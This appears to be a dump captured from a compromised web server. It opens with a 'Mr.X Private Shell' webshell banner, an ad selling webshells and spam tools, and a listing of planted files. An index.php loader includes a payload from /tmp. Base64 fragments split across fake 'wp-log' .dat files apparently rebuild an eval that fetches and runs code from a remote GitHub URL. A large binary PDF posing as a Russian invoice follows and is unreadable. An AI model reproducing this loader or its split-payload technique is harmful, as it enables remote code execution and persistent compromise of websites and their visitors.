GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
anrm65/index.php000064400000000147000000000000007437 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "mda.php"; include("zip:///tmp/phpgcuJge#$h");?>anrm65/wp-log/parca_696633dbaa4b9.dat000064400000000016000000000000012566 0ustar00bS50eHQiKSkpKSanrm65/wp-log/parca_696633dbaa4ab.dat000064400000000016000000000000012636 0ustar00Rva2wvbWFpbi9manrm65/wp-log/parca_696633dbaa3ec.dat000064400000000016000000000000012642 0ustar00bGVfZ2V0X2Nvbnanrm65/wp-log/parca_696633dbaa49c.dat000064400000000016000000000000012567 0ustar00L2hpbG5ldC9tZXanrm65/wp-log/parca_696633dbaa40a.dat000064400000000016000000000000012554 0ustar00KiovKHVybGRlY2anrm65/wp-log/parca_6964c47469307.dat000064400000000012000000000000012276 0ustar00kpOy8qKi8=anrm65/wp-log/parca_6964c474691af.dat000064400000000016000000000000012440 0ustar00ovIC8qKioqKioqanrm65/wp-log/parca_696633dbaa4c7.dat000064400000000012000000000000012561 0ustar00kpOy8qKi8=anrm65/wp-log/parca_696633dbaa3dd.dat000064400000000016000000000000012642 0ustar00oqLygiPz4iLmZpanrm65/wp-log/parca_6964c4746924f.dat000064400000000016000000000000012364 0ustar00RlbnRzLyoqKioqanrm65/wp-log/parca_696633dbaa3ac.dat000064400000000016000000000000012636 0ustar00Ki8gLyoqKioqKianrm65/wp-log/parca_6964c47469260.dat000064400000000016000000000000012300 0ustar00KiovKHVybGRlY2anrm65/wp-log/parca_696633dbaa46c.dat000064400000000016000000000000012564 0ustar00R0cHM6Ly9yYXcuanrm65/wp-log/parca_6964c47469270.dat000064400000000016000000000000012301 0ustar009kZSh1cmxlbmNvanrm65/wp-log/parca_696633dbaa436.dat000064400000000016000000000000012504 0ustar00ZGUocmF3dXJsZGanrm65/wp-log/parca_6964c4746928d.dat000064400000000016000000000000012366 0ustar00Vjb2RlKHJhd3Vyanrm65/wp-log/parca_6964c474692d9.dat000064400000000016000000000000012367 0ustar00L2hpbG5ldC9tZXanrm65/wp-log/parca_696633dbaa3be.dat000064400000000016000000000000012641 0ustar00ovIC8qKioqKioqanrm65/wp-log/parca_696633dbaa34a.dat000064400000000016000000000000012557 0ustar00LyoqKiovQG51bGanrm65/wp-log/parca_696633dbaa45e.dat000064400000000016000000000000012565 0ustar00bGVuY29kZSgiaHanrm65/wp-log/parcalar.json000064400000001251000000000000011501 0ustar00["wp-log\/parca_696633dbaa34a.dat","wp-log\/parca_696633dbaa39a.dat","wp-log\/parca_696633dbaa3ac.dat","wp-log\/parca_696633dbaa3be.dat","wp-log\/parca_696633dbaa3cd.dat","wp-log\/parca_696633dbaa3dd.dat","wp-log\/parca_696633dbaa3ec.dat","wp-log\/parca_696633dbaa3fb.dat","wp-log\/parca_696633dbaa40a.dat","wp-log\/parca_696633dbaa427.dat","wp-log\/parca_696633dbaa436.dat","wp-log\/parca_696633dbaa44e.dat","wp-log\/parca_696633dbaa45e.dat","wp-log\/parca_696633dbaa46c.dat","wp-log\/parca_696633dbaa47d.dat","wp-log\/parca_696633dbaa48c.dat","wp-log\/parca_696633dbaa49c.dat","wp-log\/parca_696633dbaa4ab.dat","wp-log\/parca_696633dbaa4b9.dat","wp-log\/parca_696633dbaa4c7.dat"]anrm65/wp-log/parca_6964c474692ab.dat000064400000000016000000000000012435 0ustar00R0cHM6Ly9yYXcuanrm65/wp-log/parca_6964c4746915f.dat000064400000000016000000000000012364 0ustar00LyoqKiovQG51bGanrm65/wp-log/parca_696633dbaa3fb.dat000064400000000016000000000000012642 0ustar00RlbnRzLyoqKioqanrm65/wp-log/parca_6964c4746927e.dat000064400000000016000000000000012366 0ustar00ZGUocmF3dXJsZGanrm65/wp-log/parca_6964c474692f6.dat000064400000000016000000000000012366 0ustar00bS50eHQiKSkpKSanrm65/wp-log/parca_696633dbaa44e.dat000064400000000016000000000000012564 0ustar00Vjb2RlKHJhd3Vyanrm65/wp-log/parca_696633dbaa427.dat000064400000000016000000000000012504 0ustar009kZSh1cmxlbmNvanrm65/wp-log/parca_6964c4746918f.dat000064400000000016000000000000012367 0ustar00w7IC8qKioqKioqanrm65/wp-log/parca_6964c474691c0.dat000064400000000016000000000000012354 0ustar00Ki9AZXZhbC8qKianrm65/wp-log/parca_6964c474692e8.dat000064400000000016000000000000012367 0ustar00Rva2wvbWFpbi9manrm65/wp-log/parca_696633dbaa3cd.dat000064400000000016000000000000012641 0ustar00Ki9AZXZhbC8qKianrm65/wp-log/parca_6964c474691a0.dat000064400000000016000000000000012352 0ustar00Ki8gLyoqKioqKianrm65/wp-log/parca_696633dbaa39a.dat000064400000000016000000000000012564 0ustar00w7IC8qKioqKioqanrm65/wp-log/parca_6964c474692ba.dat000064400000000016000000000000012435 0ustar00Z2l0aHVidXNlcmanrm65/wp-log/parca_6964c474692ca.dat000064400000000016000000000000012436 0ustar00NvbnRlbnQuY29tanrm65/wp-log/parca_6964c474691d8.dat000064400000000016000000000000012365 0ustar00oqLygiPz4iLmZpanrm65/wp-log/parca_6964c474691ee.dat000064400000000016000000000000012443 0ustar00bGVfZ2V0X2Nvbnanrm65/wp-log/parca_6964c4746929d.dat000064400000000016000000000000012367 0ustar00bGVuY29kZSgiaHanrm65/wp-log/parca_696633dbaa47d.dat000064400000000016000000000000012566 0ustar00Z2l0aHVidXNlcmanrm65/wp-log/parca_696633dbaa48c.dat000064400000000016000000000000012566 0ustar00NvbnRlbnQuY29tСчет-на-оплату-№-CB020591167-от-26-ноября-2025-г..pdf000064400000507253000000000000030215 0ustar00%PDF-1.7
%����
1 0 obj
<<
/Filter /FlateDecode
/Length 2 0 R
/Length1 33096
/Length2 0
/Length3 0
>>
stream
x��	XTG�8^U�޾���lM��m�m6�Q"Y����
I� �B��,�i21�������h65�-��	ٗ�L��2&�y�͘=�8��$�?U�6Kb��{���/�Uu�ꜪS��9u�^hF���!�ym�|���8Bb�ʮU��Xw#�5"����}��^m�2/Dh�󭾦�����,@3�l�k�P_���սW�^��ۡ~����	q�_#4���n��K����9ԥ���>ߗ
�A]F������*g>�PgB�/��(��=(�w�8���B)�<E�hI>E�+I�����S���7(}�c�tT�x��|Ew�T���6����T�y�������'�"��@�)|c�Q�������(U��C�p��ௐmB4U�(Ԅކ�/��_���o�a�t#���
Qa��y4
m�w't�m����m(MA[�'�v�}�F��A�8��#��BW���ný��!�F�	O�Leh)�@�h+z��m�J8!�	^�iP8J���'x^D���wѥh��?#�����@A��gQ$z
��Q���-�2zC����L�T�<+���3���O�>�-@50�8K�
����(V�����;rA�@6A'�8���
|�'1��:w/w�{��# �D�2�E�C��5�:`�,\�����.�k|�����+^����܁��o��/�9�Bt5Z�}
���-�O�����Y�ߏ��$����RI�ȝ�a�W���=�����W���
7��&1p~w�'>�#��w�R��
����0�;��oT`�9�|9�҃7�����G�)���)d)�Y;I7��F�Kr;�:�'��ȗ��M�frk��9?7��>�-�����%|v&[�/�{�DŽg�3�|M��K�x�x�����F�#��`tW�t5H�7�����D��Dga؅S��<\���"�_�}�F�	�ߍ���'a�"�RHjH��&�sr~�W���9
�Gs����Εq�p�r��^�z�&��mܣ����G���iصh>��������?
�����0"�Q8/���C���\�٫���g�U��M�]8O�%4�Cb�ȣ$�_�OCC<�Q���PV�ߨ����i?�Ib�pJ��y?��#h~���$
��I�9rz7�~�!�J\�1�F;�Qr�CH>YJ����E��_�n�W��>�g��p.^��$Q\
�	� <��2|��]�~���{�ox-��!t'����}�����q���l}߈��k;[��]�::�5��s5s����/�p4jxҏm�o��s��`a`eh/�]+��h�1���e`�z�%�`�U�Ԃ��w[��/���`'��~���7xX�P䣗��V��v8���C�@A�b;N��`�����Q��[�5�t��M�^�迁6�a���S����Ġ4�~g�u���s�Pv�.��T���ԕ�(7���{>�q��e��&8V��ka�r��r��
;�3<--൧��`�f<���|2�t'x���=�!H;�J�P���X_�e�f����~؁C(<k1�{�w��yx
~��B�(�	��*��HwΘ ���+]��a��Q�+ь@5���x?����n���w���_+��F�[yޒZ�`�E�sf��ʝ��ɞ������655ŝ��8�%9��b1��Ȉp��f6
z�V�<G0J+I,m���F?�N\� �����iBC�_����8~���I�1e�\�LY���0�E�G��iRI���8Q—,���ʼn���4�1x�M�\@ ��[�%?n�J��k[��4�p�
���"�>=
��4�N�ڏ��b���	Қ�)�#����XL9�s�%M-���u%ű.W}z�5'���y�0CAEl���/�i�6��Mڟ6�u���h�[[�.��sM�t��-�G_}�>^��mEu�&��r[K�m�nݺI�,����y}=��$��qk)L��X^#�ldc}�o�)%��*e}����x���%�Kl�zE#l�c�U�s
8�p�$r�H[k�]������hk���Y��ܓ���bU���F�D�7�� �N���1�b�Qb(�_j����DX�,��f��ͳ
>���-�#m~]Q�V�l�N�B�%Q�%
H<���&�E�l�Q��ɘ�A�{<�iӨ��E����\V����v��L�HP��Pȶ�~v&����mHF+��߰�N�KhE��3=�~�H{FB=�KhφP�yc"h�D#�H��=�/�^�:ۏ�~�ۧ��$�/��N*�ڨʶ�vRM�5֧B��:.����X/(�ecȴRg����OÔ��ρR�,��-���^�r� ͐��@4<C�X1N�r��\�3�>�;�V��ݤ����[���J�m�Z�(�nm��4ܰ"Q�$n&{Ȟ�]%��

��/�^�hųAY	��?o^�_ƛk.�������n�`R�8�~��
C�"�VB[i#�H���1��2��a�m`�<k`��!�X�6ԆQ�Q�,�Dn6��f����!lڴJ�;U��B���F���T>�i��MTfc��4�:&�D "�w��F"r8���"�(F��;��H���=�s�������F�Q���M�rY]�d�0�z^�F���I�
�TE�
�0Ѡ�(T����h���z
�	u謬+�b1��%C��-E;��d�X)�N~-�M�
"G2a���#�s������rJM��dk��V	���h�'ʀ!��+f�.`a�l������h�d�a�@��!�i��5�A%]�nD���6���k�x�3�t�`JA�Ֆ��)���M�=�_C7b���S�`2���O�B
nwY1�v݃#I5N	|6�/pB8|>�;�M)w�|br�
"�&7��=|���X��}ϰ:�c����*�d�9Lr��d�� �8�a�S �%�Y� �F�b��έѺEލ97�&�#��.	��݊9�7a�����O�ن�E�NYN+?�_�
L�,�6x�g����b��8�a��������c\�;j܌c1���	�o�L/�a=D��h�A�u��h���rlX2�FgtL�R�אI�'�q8l�A��DX�yNӌ�i�5/�4�w�+2"**';�J%�I��v���qNߢ���CKo��B�X��)��o��{�:���?�S���[&�-L�m�MD�	�N��GA��uF��0���ۃz#���RhU|^k9w�3z��P��(C�H�く��?�э'�>�?��LȆ6#�=�՘8^oc�b���\o:��&��{
t�0++�)����\��k�m�^�X�ŲC��Z�[�tP�8�e6��Ʉ
�o�,ԘVO#�4?3��rY�93m��9�D.�ED��Tς�u\}����k�@���	��!����}��z��q#+�RDY8
�5
V�������p��K@�L���X�?�{Af�AIh�7�6+���o��E����r?���0�2a�����	K�9���N���z1���q�� ��)�v���,�h��1���\��^��wN*8]pږ����9�zް&ܕ
��F��y��dϜ�u'��T�N����U�F�q����v�?���޽u[�MQ���]{/Y=o~Q����s�5R��W�e'&a"\��RR&�I�"js�"YL��\"�'')�����F�Ճ�s�P�|�ql9q�TS�������D�5����D<��#��.�^ԁW<!��^12�}��=�+�!C�Q�M�ro�����.��w��Ƚ߾K����c���o�5F��a�
?��j��G�@No���7�[ʏҸ�"pDD������\�~��	�N��ά��O��E7�}�ǁjW�)�й��y��ܼ@�_f�^'\�cLޛAދ��F:��uNb�F4�yѭ��ܧ�A
�䛰�ͬ�HUƀπS*0ZΩ��
&U�-���[�~6�'�v>t>�s
�>緁y����(��x\ /?h?��}��~�~<�C[[W�4�^�����8��!�TM�c_d/�)rh��I1I.��/�7�/�G����P�%^���6����o�k���""���b���]	e���Cԓآ�h��?H�1l/���L#1��n�.�NDE�%#�3섥��$���q¢�p,�[���5� h�4��*��9���Q|pd��Gyc�l���ZK���Bi��O���]lL,�
��)������u�P,�n� �OΚ5��ihh�V�L[��\f�S4b�̤�Z5�F��S,�>��g����U�8k_|��r��Ga!���X���˖\�⚸�_�����g�܊}��M�^�D�-����	�?e�C�b��3�c��۩XN5,��A�y����M�1H����]
�fus`1_��9�^
��W�z����(=&O�H����[����1q1�1v�;:""R��n��w��`��ϥ� M�=A�Ҷ�F�16>�`@іh-�xw�~8?h)�SO���3	�$�
��Q�Aɭ�̰F�� ,�%s4�9!�c���<��!+s��(�ΜI�$';:z�[!FEGE��8�;����t�ԙ��*U�N�3i�e/4��i��`.���@��t��҄ÑQ�9%�Y�!���0#��M���X@s�Gz��'��1]�ք��͊�
�D�f��a9XI���鼙�XH�Nf_���
Ƨ1t�����,^��~X�ƒ�!�>�k�Ѹ����ع��:(����8�3���:�/
~�ǂ�OE��ٛ"_�$��m�#��G�=���¡�w���FE�G�<���&����(��d1�p�l�4a�t���L8j9��N©ц�0�ADX��"Ȇf~w��o�6FYN�w������|�)8O�'*�p��u"��@1�B~Z1q(NC�ՠ�9�hu�iLM4O5Tj��C7P
H��R�)bnԘq�%�`��(E�S�a��{���������4FcW?���V�q�]���R�����qS��F~��-����1m��Koj�LO�э��|;U�����Q���Y�x��=�Zn�%�K��,�}��7Y87�f���K�Bc߬]em��Oٔr��n�C�G�8v'�Iٝ�Hְ㩄���o�ؔ��'�]��qw��Q8�ˠ�/Ȩ� ��-�FdK����!���qq[*SM@�J�SI��E6�LS*��)�z
mqh�	]��Desdǜ�OD�L����#��P0�౰��n���h���H��h
��@0읙3��pxҦ�}�p`�`u�o��+�^����vxyeU��ō���eݽ��|\t�����C+wN�~��ڮ=�^\{����卣��x��U�ݢ���3��p�Y�Z�d̵���b�1��|��]��f
�A�i�h@�Mz��d�Z��.9�l�0�M6}��Ș��;�OR򧘎ǚ��]"���L=�S��wGP�"��RDV�Q�~L��Z��LɴX*-���Z�\�aaf>�Fq<��8��4a�l3�����N��:��7��|Ķ��nȩ
H@C;	��3f1
k`SƼ�հ=�d.)4�a��	9I�b�q���5�k<��|4�_i��8���[�"�.~y�;6m��E�
��_��3����w�+����F��\7�Zn���n�>"<��m�~
s�C��/�W�#�Vo�RC�i��:�1���Q�D���~���aWD���	'4�W��0��\�E%l���,�Խ�;�!\9���d��b�>E��'*m��H�ӟp���=g��l��g
(���($24&�\���E 0�|�3
�d�܀-�ڒeW[��ķX��8!���I.���bUW��N\�PS��5����胈����w^������.�s��k@7#>xR�0��a����/�5������1"'"�!�@2
�Jg��2�a~�)B0/j��!\7�)b�`6�fR�a�a�`٨ʁƗ���6���r�)V}l�N�H
!�.�-w�L��p�������>���Y��}�a�0�o�
��^�	r��><ˠ�wc����,��a�Uk�^tj��c�)k^;,!�S�pO܎c��]��d�H����%�ƭXBun)عt�C�R.�J�Y�?*>��c~J��N��ZU�X����X���<�L�LS)Ӕ�JM{t�#�h��=oz��E��M��b���N�'di߭59�2�H�l�n$ğ��1�q��Ӥ����'
N ��Z�K��h8�4V��J3���d�uխ;��z;�
�9UQ����F�>Xh<t'.û�o�Ia��|��k�)�g
A�"$�@�`���$�W)�]'^n)�h�4#YF�Wg�I�j�%��h
������@ʹ�g���(�T���N@���:L8�V0h4C��l8Bc�Fd�n}>5ͫ�ы��+�Ψg1���4Ǚ�-o����A-�!�>Y/j#DQ��:��ZLD=�� 0���V�:�glD\�|Î{*
1��Z��� �.��
�4!�„d����a�ը\]�&�����Z�=��zh�	�H����h�N�*�)�NzQ�}�MN�p��N䬉���0,_�E`��Wg�GN�E��h	M�u�p�p�7-����W��dD�ޚ,j�M"DH��,~��x>2L���l�J�6Y��>d�a&{��2���vm�칊U}�b,����Ν������ر�����}ˁ2�(����і��?0���k��ӏ�s�0�i7i��#��>b~4|�|�z,|�z�)R�i-�\u���r<B<�^r��-�8q�Y	�#79]���e��tX��U'�Oq��'�	^\V<��x�J����	|<D�ޠ�"�,,�����A�!H�>,pF_[T���>����_���������_\�
���I���5zm��8����K�r�'[�zۭ�â�:����Ȅޗ�)Og�1z�5�+�3jN�����T�ӥ�=��L/����Ȩ1���`�#�!����.�ț8�H�M#��P9�S�|��y @���걞�6��S|Z�DGXY&c>��,�8����B�����A�+���:����.��Ƌ�����j�rM�z z��s�9���VL��K���С���>�r�{��_�!	�ˀa쎙˞w
#���v��݄=!8���Ӹű딈��U�U�S��4��Ԅg ��}��?���o���
�ep��`����}�X����	��n5_5�C���\�:Mj�+9�挬�$Y��"IddD�d[�V�HƈĦti6h��<5eh"���n��z��Q�јѕ�!cGƮ���z�	I�Yp]"�ӧ�(�}��Ұ�G��w 4��=̈n�ϋ�3�ذ?���z@����
5�ŗ���K��qv{����֜�ܙT�S��\jŝx'����6]ҹ��
���8�A��S�}b��e����Ql��W#�{U8�=�W=�I9�������/�t��/�	�Á�tƆ�y�M�{�����A9Y�z���ɼm�p
u�Z�i��y��%��)����h�LLD2e�v���&b�0�F�$�qz�dv�kP�"���e�!�����b\��`���ӳr��Y�ĩ��N��>M
�)%7���5��L���e��sk��J�n�uq��zi���A���ˀV�4:�����cz}8��-:�>���.S����>��~r���Q�A�a�9�7�����N���W�&'��u��?"��>՛�uW�F��?�m�� b��G��W�Z�k�:^,&�|��\�L�LW��L���潺9��H�F��G�U�v����(fk��l�Љh��&��fl�f�ɫ��)^͠�>�B����:��&��H�p����0��ku�lŭ�	�9 �a8#O�Q��u�7�M���L�YHP^���,�5�^![��Z�=�v�A2��%�0B����P���)c�Z���c�/K�#�2�ftM���'4�K�7)�B�;��;6���:�L��~�D6�}fE�5
�HX}B����#p�h�tு��C8|��}�M)�����
|�#�>���jR!c�O�:ë�!�3�*W
�A6M�39U�i��r���
��V
��U�����5p��0�ZNj:�#F $jt</	�A�h��#~���O�x�>B/
��Q٬���i�����&����W/7`�$Y���,��&I��$`!�py�̏�)U�h}�2�E�I^><�|E0�Mϫ/	�c"U�Ի%�w�����H�~
?k��\V�5����
�8��o7�Zx��y�^}/
�l%��I���|��"���d��)�,a�@A�����d�R���#�.[�d8|y�█�&��
KuIg���_���'�o�$Lr��'1�D�t_p�rrT�r��_�|X��_}lj�m��fݖ�-Q;�ݚ�toro��tɺTc�ij�Ԩ>�Ow���������d�,���=�]�W�B���D���]����e�vb_"G��y�Y6ۼ���a�>0�#�ް!�*O��빰/�K��
�Ȋ�q�)pp��N�9���c��{~�D�mg�y�CK
4з�Դ���%����h%x���j|v���y�f|5�b�ޖ�_�}�w/�Z�(����'�V|	�w��_�}ӧ�o�~~'R�S�w�(����%��\jȻG�+ӝ�����ӐC����|M��2a����%��Ʒ�'�_�_�Lqaq�rl�7R6[�a�OG��E���	�4GCI~.�̶*s����6��PL��ؘx�%E�S�*�'])�q����a�]�y,��r}O;�lv�+� "ΌtU��td&,O�Lؙ�'����)̫��o+d�L��i�B9�.�F��0�b-��Yث��Q��6`0l�@b%��r �z��օ#@�A	폦�P��˪��v=�?E�T
lz�R2�I�tzP�������p���סc�*h���#��n��T!DM4��g~�/���6��ilӌ�܍M�.I�ZzY~>�ՙ����m���'�R��u����P;r�~��Ȅ�Ⱥ��;�0D*d3�eT�a�1���3�z�Z��
��A�gO��Ρ/�)9�5���lܸǸE\Z]�Txc�n�_VF�S�A���⺰z[}TkX��-�:�����]�-/�ly����'�D~�	�>+�b��Q��zc�Q�mˍʵs�B�&��-1{m{��m��tf�;�^Z�Ex�9&�w{���t�H�c���H<�C�f�p�C�-bڊ](�D��b��+"�QW8~���=�F�pʣ�0�Ԅ׀_Vo\ʳ�\���;?=𙹹��WV������}�G�~��yvM�m�������>����8y���>����T�e��-��[�88oפjr�,���]��D�{ęx�X�/�6|��Z�%�nq��������x�B}-_�o�W����o������ӟכ8^u�(^��s�})���c��+�{���W��x�gmv/��`d4-OʑF��z��-�H����
����䅛�.���1�n��vGC���8���9���ɀ�!�z@���B6h}�����p"q���h���4��l>����{���@�|�A(s,j�G�gM�TV L#7D3�l>��t.��(�_>�qޚ5ݘf9��� ����/�w�-�='�%�������?�S�Y���D��{��*�_�9)ۍ�â���4��L��6�KTN�l/�o2�5��5|8D�(�&�т-Cx�l3��2ͩH�̊l���Db斧����mq	�Hq�<N��xi9�Sda5�aP��<$���*'}L�#�B��‼�YΞ�ڐ�đ8�=G͖|*+�QC����llx:��
���Y0�i�@�c�l��[�c ���hP��ԕ��Ù�E3�8%%���<��81��(�h���1�f��<�w���?ϓ�M��g�W�C�=0��t���c�����"������1:RoY�4��~�[s��.��-��=�[Ə��4�,{��#��<�}�(�i�hn�rV8��h���':c�bI�م&��5̕�י��Iu��ͲҶ2����z�{m�K
�ϝ<�M�������W>�E૭X����;::�$S�c��K_�#��M���ٻw�}{����P"��k�Vѡ���.�+K���}�nfLi�2�ʘU�ݿ���c�c8�%�˱F�����J�L����'7�ݚ��5Ƨ��XH|R�tk�)I�dx��)����{;��'��R��Yp�_���M����ǧ�$C+}*N�=]�Pt�v��E���&}U^�KS�bVF��aH���Nե��ƝF�� \}ds����bo#��-Y��s���G�qe����h.:&G��*.a��-x��)z��K�� �f��l�
��2��ӡ_ML
�<1QmRKi�����ݧ�-}�C�L�n0*����v�S�)���eo����;7�/[`_��׏�s�ɁO
�[�P�Cǖ��Vu����g~��[W��$�b ���[�
m߸0.7F[Z:������%Kq�K��d˶���Y���M�1���I�=�}yX���-���������>������\$��Y��
T�"��o�� �}�3SM�K�N�F�=�G�m#a)��<
7�<D����Q7߃
��P�����%P�Ia!��o��Жt=P!����j��m斠��
�-�T�R:�e0G�K��н�`��ɭ�W�o"o�'��1������>�7��B�K?�yHoB:Fv��B�˂$Cz�o��iyf�R��	�t!�	�uЯ�=Bz�PiBƯ2�
���Z�l r���oB(Ə��]4��v����a�#��P�BΫ���)#%^��
���߸�]�I�����H&iA�h)pXN�E���p����y:�$8�zV�O���X�94���0�"�*, ;�^�5ߩ�"j!O��eq6֡��<6�y�!}�&��1�lUa�x��T�CNۇ*�_���2�����X����"{x�
�PIx�
�D~F�<s�O�0��L��w���<�r|�`*U�#��<��
��b�Ud�d�ڍ�9*�#{l�u�Ȅ�e*��Sa'~�
���7�0���
����Qa��?TXD+t*�O�R�A�	�����Lf���==O�a���l�v[z�
�(!���F�[�m*����`3մ�'T�Gq��la㼣�t��Ne��Sa�aF�#(?.~22	�e*�#)���Q�:�����Va�?��X���0�i�����
S~�����>Ӫ€���$����U�4�"O���\�� �L��t6���\Ca-��m*�g�d0[W�
��(lT�S�i�f���Sa�7ˊ��9"��(�ZԊ|P.B��R/Z��XKԺ�y��1��)�e5���^��j>(}����i��P[�>�-�l��74�B}���H0n'�ن�n�����Ƹ�B9��j�(���#t��6�<t�ft��{1�Z���������ʡ�����Y�d!�yP_=���Ib��q:ՕJl�>�mf륵�0v?�v��>�ja���ߨ*�Q<Q�1�&�9���0|h5�I%��rI�(�+��h�����u�^�W��G���b���v�V̞�#�aI(0��L�c�zAܥl�=c��¼t��q�'�^;i��d����V�0)P9^�$����S���ks1������+�M�t����oml������	�Fu�����z��Zk �*��(���ԩ~�/]L�X��ez^�tQbR[�tOѕ�1�aӶNf�TK)O>�_��R�$��G���q��6����z���`5`��>J������p�J�XT��ZV��!m�>nCߗN��M3�e4!��̛66�wW��X?�S3�0�Y���6�{ڙ�	y��ʞҴ3(�N�������D���n�#B���� 4����3A�J���B��ͼ�:�?� ��Y�~p���5M�*�Cv���*���K�ؔ��n�ơ��\�1UN�ug�GYH�*�nv��1�U���s!/��Ys;[eHʓ�:��L�[T=���%����s6�'��q%��>��M�F%�
0B}��˿s�LU�w�[�I,���7�G)�;c,�!ŏi�Ц�SHk|,�hW��q�3?��?|�ӝ����	'��ߊ�ԹV1]�P�=���[=��C=C����!=V�K����P�ߎ1MiB�q�w��{1&�&��N��	�����Qld��ة֮�Lj���[DϱI���	2ja�L�$?�5��x��1����[�w�[H�ߥ�RS���u���Jǭf�$
�a�l��cu�
�~K١m��U�^�x�'U��^N�%�f�;�ì�}���]O֥_�Oxe�O��:=.�~&���}�4j�P%�A���r�0�'��?����V:�fO��M0b'�8��(�_��O�$��D�2����
e�V�����;�=����ltŊ��w��Հ�����JT
�epZV��2h�qk5�,�Z1�CK
`Ԩ�)l���sh�-ag�2F5�P�g>�I�Nk�_cQ�T��(��jf5{�.��DţEв��ϼ�2_P)��2�LT8��vil���*c3�8[�j��[c���(�t�RW��Y�rZ�dDG�cGY��.��
�j��l�
�l
�Я���q@g�Pת�Q�,U{�Q����
�0n��WepNǟ��섨�b��&�Uft�Ym|U�N��P�R��1�U�\�z�h�e����c)�+T�"&�JVSv���j�^��4u/��:�;�2��%����fLCJ��*܇�S��r'�|to'��j�GlD%ԿD���˅J��Ʉ�U36���񈔝5=W�m�I�:;:{�u�������޶Ύ���]�n[���#U�z|�k}-�ɴ�����/Uv�:j)�¦u�}�R{窶f���k]7����Y9���iRuS{W��������Jh����CZ���Cg�mm��'����[�׶�����]Rg�N�T����n�A������'�u����^���Zia[����7G��$����_�Ԯ�J-����.�@6G������'�����}^g{KH�Y�D���Em�ݝt���K}�=t�܌�,֚��k�I��nj�n�R�\��r����6&�����UR�ʕ�)]��\��!U�5�v�7��IUM��m�mMRMH�4=oV��RO_WW{�begGo�T��'�nZ'��Pz��i���)5w��z}iRK[OlI����"uu�Ao3���lꑺ|ݫ�z{a���C�ا���ΐFK�Ac�tuw��5��IT��6�҄&������&p���u4���P-q��ѾNJm��l�t�ǸU�ʳ��C�F>>%k�@j���[Mw��
fm���h�lj�,�&ET����N�
��.��]&�i��wM�(�Z�:�n�im[�<g�LTEVv��w2PE�&�h�^;;�t?�	����]�33}�mW�u�Zښ2:�We�Z&`.W�d*l/S����f}!s�����b�A�|E'���Ʒ�����=��('���TE7����D��U�M ��4ie7�1hOskS�*X3�1�
vȥ�`�T(M�����_e����,��GKgs�jؑ&�C���dR鈓V+ը�獩��5ye.�'������	ꖦ��>���z��M��V�/����0MZ��Ҷ��>&��>XPO+3XzE5�ڨj	�0��w#нV�tAV��)�Q%͘�o�\�#k�f�����-��/W��{C
6�Ǡ�-m��f+*޴�s�o�����Y׸��]=�M���I��4a��t��^P&�xC�1P{[P"�T��.+�.��j���ʥe�%�RJa
�SҤee�*��J�Q]XQ[/U�J��RyYEq�TRWU]RS#UVKe����@[YE��%�e�y@WQ	'UX"Z[)�	ա�Jj�`�J��@�p^�²�4������Y
�JU�յeEKVKUK��*kJ`�b�����f)YTRQ��B�T�*R͂…�T�K��j�_QeU}u��҂ʅ�%�8�8+���D�
U���lQ�T\��p~	���Q���ݲ%�	�+�E�e�tE���PM�UV׎�.+�)I�
��j�@J�+ax*N��d�]E�2
�4iG�֗Ԕ��R\R�ƪ���3 ��/�+���&��>l��'�p�[W����>����N�Q۸��1�y�i�O����k5=K?�Z����3��~z��Ӌ��^���b�k�I��˵��\Sv�l?�`���O/ؾ��z�6�%[H:?�h��E�O/�{�6��I9�.�J�q �9kY���?����Y��3	+�V�>�����m��NM��� �IV�G�]ʠ�8J�V[˞�M��SżY7�[7	�B�%��2��\~_���g�2_��Mľ`������~o=JK9���3�o�����.�t�w0�ڱ��K��hB�X�B5:i���Z�]��7e�o��czWhD��>�Cf�x���@�P>1��wn(4q��}��@.A��C2���hʖ���E�r ʓ=`vkO�={�Q�1�1�@�cKh�c�rq6+s�(e�tVh�n1"�Y��LH��P%�[!��4$
0�zR���(u��@a������!9�� � }���Ճ�:#��AF�=Ta�[ m�����	�NHAH@@��pp�X��B=���~��0FN��A��=�a��r���UA"��-B#�{��F�w�+H��DX>�7g[0�
�ղr��2$��m0<����0+��f ˫�{vH�*�9ׁaK��2�f(�V��Z �|ʃa��
0_�p�p�pr�\ʆ��s�X��7`V��H��
+.��%�3!/�ZN�vJG8�	��@��<`��>�m�DX+�v������Jju���F��Ybq������
�\	����J.EBY�%�rw?ظ����;�9r��%��������A�9{�P�ͅ^?wl�-l���Y٨�ͥ�,Hd���L��vm+��Vة���V�>�m��-���]���~��N��ZE�@����=��pv���C�cPg���l��>h4g�z@�{`L����gwᦱ��
�c)A���1.Z� ��[r��AP��s	�N��T���W�q*$�y�n7���X�;�|M-����r\1
�'Z�,�#�`��_�N�9B�CY@�.�\�w�0*���[��2�����Cdh
��S],yn����d��U[Tva2y�<��`�?C��3dM��iB���IFH/zʃ��@y@-�'G�����!4�3e�? �b߀�O �V��<J�$�!�>1�v@��Aw�3����äw �i+ԓ�q>H��	Z"y` ��c��&;�ٞ+'���n.+9+=k7'%K�R��[*��[���$`�d�H"�=�dH;Ȗ>�_8
k��"h��y�䖱�3* Q%$c\i=�
�n@<�WC�ҵ��c-��� ��7��.���.F�]@�]������R4E#P4E#�h�F�h�FFA�m�FFQU@QU��
(���
(�EPTE���B
(dF!�2PȌB
(dF�Y@�Y�"(��"(�EPdE���B
	($F!�PH�B
	($Fa
PX���(,@a
PX���O$Jq(N�I�8�(N�I�8	'�I�8	'I�~�x�@rH��qFrH��q 9�H��q 9�.��	���\i=�
�(�Ў�Ў0��^}�(�(�@�
